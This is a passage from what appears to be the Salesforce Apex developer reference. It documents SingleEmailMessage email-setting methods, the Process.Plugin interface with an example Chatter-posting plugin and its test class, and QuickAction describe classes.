error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce representative for
information on BCC compliance.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum
allowed is 25.
Signature
public Void setCcAddresses(String[] ccAddresses)
1840
SingleEmailMessage MethodsReference
Parameters
ccAddresses
Type: String[]
Return Value
Type: Void
Usage
All emails must have a recipient value in at least one of the following fields:
•toAddresses
•ccAddresses
•bccAddresses
•targetObjectId
setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user's default value is used.
Signature
public Void setCharset(String characterSet)
Parameters
characterSet
Type: String
Return Value
Type: Void
setDocumentAttachments(documentIds)
(Deprecated. Use setEntityAttachments() instead.) Optional. A list containing the ID of each document object you want
to attach to the email.
Signature
public Void setDocumentAttachments(ID[] documentIds)
Parameters
documentIds
Type: ID[]
1841
SingleEmailMessage MethodsReference
Return Value
Type: Void
Usage
You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB.
setEntityAttachments(ids)
Optional. Array of IDs of Document or ContentVersion items to attach to the email.
Signature
public void setEntityAttachments(List<String> ids)
Parameters
ids
Type: List<String>
Return Value
Type: void
setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.
Signature
public Void setFileAttachments(EmailFileAttachment[] fileNames)
Parameters
fileNames
Type: Messaging.EmailFileAttachment[]
Return Value
Type: Void
Usage
You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.
setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with
the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define
both setHtmlBody and setPlainTextBody.
1842
SingleEmailMessage MethodsReference
Signature
public Void setHtmlBody(String htmlBody)
Parameters
htmlBody
Type: String
Return Value
Type: Void
setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent
emails).
Signature
public Void setInReplyTo(String parentMessageIds)
Parameters
parentMessageIds
Type: String
Contains one or more parent email message IDs.
Return Value
Type: Void
setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the
behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients aren’t
checked and those recipients always receive the email.
Signature
public void setOptOutPolicy(String emailOptOutPolicy)
Parameters
emailOptOutPolicy
Type: String
Possible values of the emailOptOutPolicy parameter are:
•SEND (default)—The email is sent to all recipients and the Email Opt Out option of the recipients is ignored.
•FILTER—No email is sent to the recipients that have the Email Opt Out option set and emails are sent to the other
recipients.
1843
SingleEmailMessage MethodsReference
•REJECT—If any of the recipients have the Email Opt Out option set, sendEmail() throws an error and no email is
sent.
Return Value
Type: void
Example
This example shows how to send an email with the opt-out setting enforced. Recipients are specified by their IDs. The FILTER option
causes the email to be sent only to recipients that haven’t opted out from email. This example uses dot notation of the email properties,
which is equivalent to using the set methods.
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
// Set recipients to two contact IDs.
// Replace IDs with valid record IDs in your org.
message.toAddresses = new String[] { '003D000000QDexS','003D000000QDfW5' };
message.optOutPolicy = 'FILTER';
message.subject = 'Opt Out Test Message';
message.plainTextBody = 'This is the message body.';
Messaging.SingleEmailMessage[] messages =
new List<Messaging.SingleEmailMessage> {message};
Messaging.SendEmailResult[] results = Messaging.sendEmail(messages);
if (results[0].success) {
System.debug('The email was sent successfully.');
}else {
System.debug('The email failed to send: '
+ results[0].errors[0].message);
}
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
Signature
public Void setPlainTextBody(String plainTextBody)
Parameters
plainTextBody
Type: String
Return Value
Type: Void
setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object's DisplayName field cannot
be set if the setSenderDisplayName field is already set.
1844
SingleEmailMessage MethodsReference
Signature
public Void setOrgWideEmailAddressId(ID emailAddressId)
Parameters
emailAddressId
Type: ID
Return Value
Type: Void
setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
Signature
public Void setReferences(String references)
Parameters
references
Type: String
Return Value
Type: Void
setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.
Signature
public Void setSubject(String subject)
Parameters
subject
Type: String
Return Value
Type: Void
1845
SingleEmailMessage MethodsReference
setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify
sets the context and ensures that merge fields in the template contain the correct data.
Signature
public Void setTargetObjectId(ID targetObjectId)
Parameters
targetObjectId
Type: ID
Return Value
Type: Void
Usage
Do not specify the IDs of records that have the Email Opt Out option selected.
All emails must have a recipient value in at least one of the following fields:
•toAddresses
•ccAddresses
•bccAddresses
•targetObjectId
setTemplateId(templateId)
Required if using a template, optional otherwise. The ID of the template used to create the email.
Signature
public Void setTemplateId(ID templateId)
Parameters
templateId
Type: ID
Return Value
Type: Void
setToAddresses(toAddresses)
Optional. A list of email addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum number of
email addresses allowed is 100.
1846
SingleEmailMessage MethodsReference
Signature
public Void setToAddresses(String[] toAddresses)
Parameters
toAddresses
Type: String[]
Return Value
Type: Void
Usage
All emails must have a recipient value in at least one of the following fields:
•toAddresses
•ccAddresses
•bccAddresses
•targetObjectId
setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.
Signature
public void setTreatBodiesAsTemplate(Boolean treatAsTemplate)
Parameters
treatAsTemplate
Type: Boolean
Return Value
Type: void
setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the
targetObjectId is supplied as the WhoId field for template rendering but isn’t a recipient of the email. The default is true.
Signature
public void setTreatTargetObjectAsRecipient(Boolean treatAsRecipient)
1847
SingleEmailMessage MethodsReference
Parameters
treatAsRecipient
Type: Boolean
Return Value
Type: void
Usage
Note: You can set TO, CC, and BCC addresses using the email messaging methods regardless of whether a template is used for
the email or the target object is a recipient.
setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure
that merge fields in the template contain the correct data.
Signature
public Void setWhatId(ID whatId)
Parameters
whatId
Type: ID
Return Value
Type: Void
Usage
The value must be one of the following types:
•Account
•Asset
•Campaign
•Case
•Contract
•Opportunity
•Order
•Product
•Solution
•Custom
1848
SingleEmailMessage MethodsReference
Process Namespace
The Process namespace provides an interface and classes for passing data between your organization and a flow.
The following are the interfaces and classes in the Process namespace.
IN THIS SECTION:
Plugin Interface
Allows you to pass data between your organization and a specified flow.
PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.
Plugin Interface
Allows you to pass data between your organization and a specified flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Namespace
Process
IN THIS SECTION:
Plugin Methods
Plugin Example Implementation
Plugin Methods
The following are instance methods for Plugin.
1849
Process NamespaceReference
IN THIS SECTION:
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
describe()
Returns a Process.PluginDescribeResult object that describes this method call.
Signature
public Process.PluginDescribeResult describe()
Return Value
Type: Process.PluginDescribeResult
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.
Signature
public Process.PluginResult invoke(Process.PluginRequest request)
Parameters
request
Type: Process.PluginRequest
Return Value
Type: Process.PluginResult
Plugin Example Implementation
global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at run time.
global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed
FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
1850
Plugin InterfaceReference
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface
global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'flowchatplugin';
result.Tag = 'chat';
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}
Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();
Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
plugin.invoke(request);
}
}
PluginDescribeResult Class
Describes the input and output parameters for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
1851
PluginDescribeResult ClassReference
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Namespace
Process
IN THIS SECTION:
PluginDescribeResult Constructors
PluginDescribeResult Properties
PluginDescribeResult Constructors
The following are constructors for PluginDescribeResult.
IN THIS SECTION:
PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.
PluginDescribeResult()
Creates a new instance of the Process.PluginDescribeResult class.
Signature
public PluginDescribeResult()
PluginDescribeResult Properties
The following are properties for PluginDescribeResult.
IN THIS SECTION:
description
This optional field describes the purpose of the plug-in.
inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.
name
Unique name of the plug-in.
outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.
1852
PluginDescribeResult ClassReference
tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette
within the Flow Designer. This is helpful if you have multiple plug-ins in your flow.
description
This optional field describes the purpose of the plug-in.
Signature
public String description {get; set;}
Property Value
Type: String
Usage
Size limit: 255 characters.
inputParameters
The input parameters passed by the Process.PluginRequest class from a flow to the class that implements the
Process.Plugin interface.
Signature
public List<Process.PluginDescribeResult.InputParameter> inputParameters {get; set;}
Property Value
Type: List<Process.PluginDescribeResult.InputParameter>
name
Unique name of the plug-in.
Signature
public String name {get; set;}
Property Value
Type: String
Usage
Size limit: 40 characters.
1853
PluginDescribeResult ClassReference
outputParameters
The output parameters passed by the Process.PluginResult class from the class that implements the Process.Plugin
interface to the flow.
Signature
public List<Process.PluginDescribeResult.OutputParameter> outputParameters {get; set;}
Property Value
Type: List<Process.PluginDescribeResult.OutputParameter>
tag
With this optional field, you can group plug-ins by tag name so they appear together in the Apex plug-in section of the Palette within
the Flow Designer. This is helpful if you have multiple plug-ins in your flow.
Signature
public String tag {get; set;}
Property Value
Type: String
Usage
Size limit: 40 characters.
PluginDescribeResult.InputParameter Class
Describes the input parameter for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Namespace
Process
IN THIS SECTION:
PluginDescribeResult.InputParameter Constructors
PluginDescribeResult.InputParameter Properties
1854
PluginDescribeResult.InputParameter ClassReference
PluginDescribeResult.InputParameter Constructors
The following are constructors for PluginDescribeResult.InputParameter.
IN THIS SECTION:
PluginDescribeResult.InputParameter(name, description, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
description, parameter type, and required option.
PluginDescribeResult.InputParameter(name, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
parameter type, and required option.
PluginDescribeResult.InputParameter(name, description, parameterType,
required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
description, parameter type, and required option.
Signature
public PluginDescribeResult.InputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
Parameters
name
Type: String
Unique name of the plug-in.
description
Type: String
Describes the purpose of the plug-in.
parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
required
Type: Boolean
Set to true for required and false otherwise.
PluginDescribeResult.InputParameter(name, parameterType, required)
Creates a new instance of the Process.PluginDescribeResult.InputParameter class using the specified name,
parameter type, and required option.
1855
PluginDescribeResult.InputParameter ClassReference
Signature
public PluginDescribeResult.InputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType, Boolean required)
Parameters
name
Type: String
Unique name of the plug-in.
parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
required
Type: Boolean
Set to true for required and false otherwise.
PluginDescribeResult.InputParameter Properties
The following are properties for PluginDescribeResult.InputParameter.
IN THIS SECTION:
Description
This optional field describes the purpose of the plug-in.
Name
Unique name of the plug-in.
ParameterType
The data type of the input parameter.
Required
Set to true for required and false otherwise.
Description
This optional field describes the purpose of the plug-in.
Signature
public String Description {get; set;}
Property Value
Type: String
Usage
Size limit: 255 characters.
1856
PluginDescribeResult.InputParameter ClassReference
Name
Unique name of the plug-in.
Signature
public String Name {get; set;}
Property Value
Type: String
Usage
Size limit: 40 characters.
ParameterType
The data type of the input parameter.
Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
Property Value
Type: Process.PluginDescribeResult.ParameterType
Required
Set to true for required and false otherwise.
Signature
public Boolean Required {get; set;}
Property Value
Type: Boolean
PluginDescribeResult.OutputParameter Class
Describes the output parameter for Process.PluginResult.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
1857
PluginDescribeResult.OutputParameter ClassReference
Namespace
Process
IN THIS SECTION:
PluginDescribeResult.OutputParameter Constructors
PluginDescribeResult.OutputParameter Properties
PluginDescribeResult.OutputParameter Constructors
The following are constructors for PluginDescribeResult.OutputParameter.
IN THIS SECTION:
PluginDescribeResult.OutputParameter(name, description, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
PluginDescribeResult.OutputParameter(name, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
PluginDescribeResult.OutputParameter(name, description, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
Signature
public PluginDescribeResult.OutputParameter(String name, String description,
Process.PluginDescribeResult.ParameterType parameterType)
Parameters
name
Type: String
Unique name of the plug-in.
description
Type: String
Describes the purpose of the plug-in.
parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
1858
PluginDescribeResult.OutputParameter ClassReference
PluginDescribeResult.OutputParameter(name, parameterType)
Creates a new instance of the Process.PluginDescribeResult.OutputParameter class using the specified name,
description, and parameter type.
Signature
public PluginDescribeResult.OutputParameter(String name,
Process.PluginDescribeResult.ParameterType parameterType)
Parameters
name
Type: String
Unique name of the plug-in.
parameterType
Type: Process.PluginDescribeResult.ParameterType
The data type of the input parameter.
PluginDescribeResult.OutputParameter Properties
The following are properties for PluginDescribeResult.OutputParameter.
IN THIS SECTION:
Description
This optional field describes the purpose of the plug-in.
Name
Unique name of the plug-in.
ParameterType
The data type of the input parameter.
Description
This optional field describes the purpose of the plug-in.
Signature
public String Description {get; set;}
Property Value
Type: String
Usage
Size limit: 255 characters.
1859
PluginDescribeResult.OutputParameter ClassReference
Name
Unique name of the plug-in.
Signature
public String Name {get; set;}
Property Value
Type: String
Usage
Size limit: 40 characters.
ParameterType
The data type of the input parameter.
Signature
public Process.PluginDescribeResult.ParameterType ParameterType {get; set;}
Property Value
Type: Process.PluginDescribeResult.ParameterType
PluginRequest Class
Passes input parameters from the class that implements the Process.Plugin interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Namespace
Process
PluginRequest Properties
The following are properties for PluginRequest.
IN THIS SECTION:
inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.
1860
PluginRequest ClassReference
inputParameters
Input parameters that are passed from the class that implements the Process.Plugin interface to the flow.
Signature
public MAP<String,ANY> inputParameters {get; set;}
Property Value
Type: Map<String, Object>
PluginResult Class
Returns output parameters from the class that implements the Process.Plugin interface to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
•The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
•The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
Namespace
Process
PluginResult Properties
The following are properties for PluginResult.
IN THIS SECTION:
outputParameters
Output parameters returned from the class that implements the interface to the flow.
outputParameters
Output parameters returned from the class that implements the interface to the flow.
Signature
public MAP<String, ANY> outputParameters {get; set;}
Property Value
Type: Map<String, Object>
1861
PluginResult ClassReference
QuickAction Namespace
The QuickAction namespace provides classes and methods for quick actions.
The following are the classes in the QuickAction namespace.
IN THIS SECTION:
DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.
DescribeLayoutComponent Class
Represents the smallest unit in a layout—a field or a separator.
DescribeLayoutItem Class
Represents an individual item in a QuickAction.DescribeLayoutRow.
DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.
DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).
DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.
DescribeQuickActionResult Class
Contains describe metadata information for a quick action.
QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container
of the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email
Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for
the Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is
displayed, such as the case origin (for example, country) and subject.
QuickActionRequest Class
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.
QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action
results.
SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action
was invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields
before the standard Email Action is rendered.
1862
QuickAction NamespaceReference
DescribeAvailableQuickActionResult Class
Contains describe metadata information for a quick action that is available for a specified parent.
Namespace
QuickAction
Usage
The QuickAction describeAvailableQuickActions method returns an array of available quick action describe result objects
(QuickAction.DescribeAvailableQuickActionResult).
DescribeAvailableQuickActionResult Methods
The following are methods for DescribeAvailableQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
getLabel()
The quick action label.
getName()
The quick action name.
getType()
The quick action type.
getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
Signature
public String getActionEnumOrId()
Return Value
Type: String
getLabel()
The quick action label.
Signature
public String getLabel()
1863
DescribeAvailableQuickActionResult ClassReference
Return Value
Type: String
getName()
The quick action name.
Signature
public String getName()
Return Value
Type: String
getType()
The quick action type.
Signature
public String getType()
Return Value
Type: String
DescribeLayoutComponent Class
Represents the smallest unit in a layout—a field or a separator.
Namespace
QuickAction
DescribeLayoutComponent Methods
The following are methods for DescribeLayoutComponent. All are instance methods.
IN THIS SECTION:
getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
getTabOrder()
Returns the tab order for the item in the row.
getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
1864
DescribeLayoutComponent ClassReference
getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.
getDisplayLines()
Returns the vertical lines displayed for a field. Applies to textarea and multi-select picklist fields.
Signature
public Integer getDisplayLines()
Return Value
Type: Integer
getTabOrder()
Returns the tab order for the item in the row.
Signature
public Integer getTabOrder()
Return Value
Type: Integer
getType()
Returns the name of the QuickAction.DescribeLayoutComponent type for this component.
Signature
public String getType()
Return Value
Type: String
getValue()
Returns the name of the field if the type for QuickAction.DescribeLayoutComponent is textarea.
Signature
public String getValue()
Return Value
Type: String
1865
DescribeLayoutComponent ClassReference
DescribeLayoutItem Class
Represents an individual item in a QuickAction.DescribeLayoutRow.
Namespace
QuickAction
Usage
For most fields on a layout, there is only one component per layout item. However, in a display-only view, the
QuickAction.DescribeLayoutItem might be a composite of the individual fields (for example, an address can consist of
street, city, state, country, and postal code data). On the corresponding edit view, each component of the address field would be split
up into separate QuickAction.DescribeLayoutItems.
DescribeLayoutItem Methods
The following are methods for DescribeLayoutItem. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the label text for this item.
getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.
isEditable()
Indicates whether this item can be edited (true) or not (false).
isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
isRequired()
Indicates whether this item is required (true) or not (false).
getLabel()
Returns the label text for this item.
Signature
public String getLabel()
Return Value
Type: String
getLayoutComponents()
Returns a list of QuickAction.DescribeLayoutComponents for this item.
1866
DescribeLayoutItem ClassReference
Signature
public List<QuickAction.DescribeLayoutComponent> getLayoutComponents()
Return Value
Type: List<QuickAction.DescribeLayoutComponent>
isEditable()
Indicates whether this item can be edited (true) or not (false).
Signature
public Boolean isEditable()
Return Value
Type: Boolean
isPlaceholder()
Indicates whether this item is a placeholder (true) or not (false). If true, then this item is blank.
Signature
public Boolean isPlaceholder()
Return Value
Type: Boolean
isRequired()
Indicates whether this item is required (true) or not (false).
Signature
public Boolean isRequired()
Return Value
Type: Boolean
Usage
This is useful if, for example, you want to render required fields in a contrasting color.
DescribeLayoutRow Class
Represents a row in a QuickAction.DescribeLayoutSection.
1867
DescribeLayoutRow ClassReference
Namespace
QuickAction
Usage
A QuickAction.DescribeLayoutRow consists of one or more QuickAction.DescribeLayoutItem objects. For
each QuickAction.DescribeLayoutRow, a QuickAction.DescribeLayoutItem refers either to a specific field or
to an “empty” QuickAction.DescribeLayoutItem (one that contains no QuickAction.DescribeLayoutComponent
objects). An empty QuickAction.DescribeLayoutItem can be returned when a given
QuickAction.DescribeLayoutRow is sparse (for example, containing more fields on the right column than on the left column).
DescribeLayoutRow Methods
The following are methods for DescribeLayoutRow. All are instance methods.
IN THIS SECTION:
getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.
getLayoutItems()
Returns either a specific field or an empty QuickAction.DescribeLayoutItem (one that contains no
QuickAction.DescribeLayoutComponent objects).
Signature
public List<QuickAction.DescribeLayoutItem> getLayoutItems()
Return Value
Type: List<QuickAction.DescribeLayoutItem>
getNumItems()
Returns the number of QuickAction.DescribeLayoutItem.
Signature
public Integer getNumItems()
Return Value
Type: Integer
1868
DescribeLayoutRow ClassReference
DescribeLayoutSection Class
Represents a section of a layout and consists of one or more columns and one or more rows (an array of
QuickAction.DescribeLayoutRow).
Namespace
QuickAction
DescribeLayoutSection Properties
The following are properties for DescribeLayoutSection.
collapsed
The current view of the record details section: collapsed (true) or expanded (false).
Signature
public Boolean collapsed {get; set;}
Property Value
Type: Boolean
layoutsectionid
The unique ID of the record details section in the layout.
Signature
public Id layoutsectionid {get; set;}
Property Value
Type: Id
DescribeLayoutSection Methods
The following are methods for DescribeLayoutSection.
IN THIS SECTION:
getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.
getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.
1869
DescribeLayoutSection ClassReference
getLayoutSectionId()
Returns the ID of the record details section in the layout.
getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.
getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.
isCollapsed()
Indicates whether the record details section is collapsed (true) or expanded (false). If you build your own app, you can use this
method to see whether the current user collapsed a section, and respect that preference in your own UI.
isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
isUseHeading()
Indicates whether to use the heading (true) or not (false).
getColumns()
Returns the number of columns in the QuickAction.DescribeLayoutSection.
Signature
public Integer getColumns()
Return Value
Type: Integer
getHeading()
The heading text (label) for the QuickAction.DescribeLayoutSection.
Signature
public String getHeading()
Return Value
Type: String
getLayoutRows()
Returns an array of one or more QuickAction.DescribeLayoutRow objects.
Signature
public List<QuickAction.DescribeLayoutRow> getLayoutRows()
1870
DescribeLayoutSection ClassReference
Return Value
Type: List<QuickAction.DescribeLayoutRow>
getLayoutSectionId()
Returns the ID of the record details section in the layout.
Signature
public Id getLayoutSectionId()
Return Value
Type: Id
getParentLayoutId()
Returns the ID of the layout upon which this DescribeLayoutSection resides.
Signature
public Id getParentLayoutId()
Return Value
Type: Id
getRows()
Returns the number of rows in the QuickAction.DescribeLayoutSection.
Signature
public Integer getRows()
Return Value
Type: Integer
isCollapsed()
Indicates whether the record details section is collapsed (true) or expanded (false). If you build your own app, you can use this
method to see whether the current user collapsed a section, and respect that preference in your own UI.
Signature
public Boolean isCollapsed()
1871
DescribeLayoutSection ClassReference
Return Value
Type: Boolean
isUseCollapsibleSection()
Indicates whether the QuickAction.DescribeLayoutSection is a collapsible section (true) or not (false).
Signature
public Boolean isUseCollapsibleSection()
Return Value
Type: Boolean
isUseHeading()
Indicates whether to use the heading (true) or not (false).
Signature
public Boolean isUseHeading()
Return Value
Type: Boolean
DescribeQuickActionDefaultValue Class
Returns a default value for a quick action.
Namespace
QuickAction
Usage
Represents the default values of fields to use in default layouts.
DescribeQuickActionDefaultValue Methods
The following are methods for DescribeQuickActionDefaultValue. All are instance methods.
IN THIS SECTION:
getDefaultValue()
Returns the default value of the quick action.
getField()
Returns the field name of the action.
1872
DescribeQuickActionDefaultValue ClassReference
getDefaultValue()
Returns the default value of the quick action.
Signature
public String getDefaultValue()
Return Value
Type: String
getField()
Returns the field name of the action.
Signature
public String getField()
Return Value
Type: String
DescribeQuickActionResult Class
Contains describe metadata information for a quick action.
Namespace
QuickAction
Usage
The QuickAction describeQuickActions method returns an array of quick action describe result objects
(QuickAction.DescribeQuickActionResult).
IN THIS SECTION:
DescribeQuickActionResult Properties
DescribeQuickActionResult Methods
DescribeQuickActionResult Properties
The following are properties for DescribeQuickActionResult.
IN THIS SECTION:
canvasapplicationname
The name of the Force.com Canvas application invoked by the custom action.
1873
DescribeQuickActionResult ClassReference
colors
Array of color information. Each color is associated with a theme.
contextsobjecttype
The object used for the action. Was getsourceSobjectType() in API version 29.0 and earlier.
defaultvalues
The action’s default values.
height
The height in pixels of the action pane.
iconname
The name of the icon used for the action. If a custom icon is not used, this value isn’t set.
icons
Array of icons. Each icon is associated with a theme.
iconurl
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced
in Spring ’10, or the custom icon, if there is one.
layout
The section of the layout where the action resides.
lightningcomponentbundleid
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.
lightningcomponentbundlename
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component
belongs.
lightningcomponentqualifiedname
The fully qualified name of the Lightning component invoked by the custom action.
miniiconurl
The icon’s URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring ’10, or the
custom icon, if there is one.
showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing
the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the
quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target
object is Contact and the parent object is Account.
targetrecordtypeid
The record type of the target record.
targetsobjecttype
The action’s target object type.
1874
DescribeQuickActionResult ClassReference
visualforcepagename
